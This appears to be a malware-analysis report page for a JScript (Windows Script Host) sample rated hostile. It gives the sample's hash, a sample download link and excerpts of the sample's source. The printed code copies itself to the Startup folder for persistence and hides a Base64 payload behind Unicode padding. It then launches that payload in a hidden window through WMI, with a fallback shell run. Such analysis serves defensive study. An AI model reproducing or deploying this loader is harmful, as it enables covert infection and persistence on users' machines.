Hostile ^93% Download

virussign.com_13fd4fe2eaf4b64d46722777db277ff0.vir

WMI hidden process, obfuscated payload

Unicode-padded WSH loader launches a reflective payload through hidden WMIJavaScript self-copies to Startup

SHA-25645aaa9fa16af00ae8e40435dfeb7e4840196feb6f2ac528d352250f50bf1802e

URLhttp://samples.virussign.com/samples/virussign.com_20260927_LimitedFree.zip

MaleculeO₆(PXeAs₃CErI)H₄(Os₃Po₆Db₃F₅)Md₂(Pa)

Evidence

WSH resolves the Startup folder lines 1–18

1                        
2                        
3                        var seiche = new ActiveXObject("Scripting.FileSystemObject");
4var islamist = new ActiveXObject("WScript.Shell");
5var rythmic = WScript.ScriptFullName;
6var protamphirhine = islamist.SpecialFolders("Startup");
7var homophobes = protamphirhine + "\\" + seiche.GetFileName(rythmic);
8if (rythmic.toLowerCase() !== homophobes.toLowerCase()) {
9    if (!seiche.FileExists(homophobes)) {
10        seiche.CopyFile(rythmic, homophobes);
11    }
12}
13
14
15                        var allosteric = new ActiveXObject("WScript.Shell");
16                        var nablock = allosteric.Environment("User");
17
18                        var woobiefies = "Tᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎVᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎqᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎQᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎMᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎEᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁Üಘᔪ …

Unicode-delimited AppDomain token fragment line 55

55:28224… ���ᇎA��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����A��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����A��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����p��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����p��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����b��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����4��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����w��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����A��੓ޔ���� …

Joins array with a short delimiter lines 120–122

38… woobiefies.split("ᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎ").join("");
                      var canceller, unreasonably, heterohexamer, compactified, planish;
                      unreasona …

Unicode-delimited Base64 decoder fragment line 141

141:3946… ���ᇎ:����ޔ������⡁Üಘ���Ⓗ๦⯒೭����:����ޔ������⡁Üಘ���Ⓗ๦⯒೭����F��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����r��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����o��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����m��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����B��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����a��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����s��੓ޔ���� …

WSH GetObject directory moniker lines 142–153

95… ᇎ").join("");
143
                      try {
                          var exoneurally = GetObject("winmgmts:\\\\.\\root\\cimv2");
                          var Babur = exoneurally.Get("Win32_ProcessStartup").SpawnInstance_();
                          Babur.ShowWindow = 0; 
                          
                          var Alfie = exoneurally.Get("Win32_Process");
                          Alfie.Create(amorphous, null, Babur, null);
                      } catch (e) {
                          allosteric.Run(amorphous, 0, true);
                      }

No evidence locations were recorded for this file. Raw result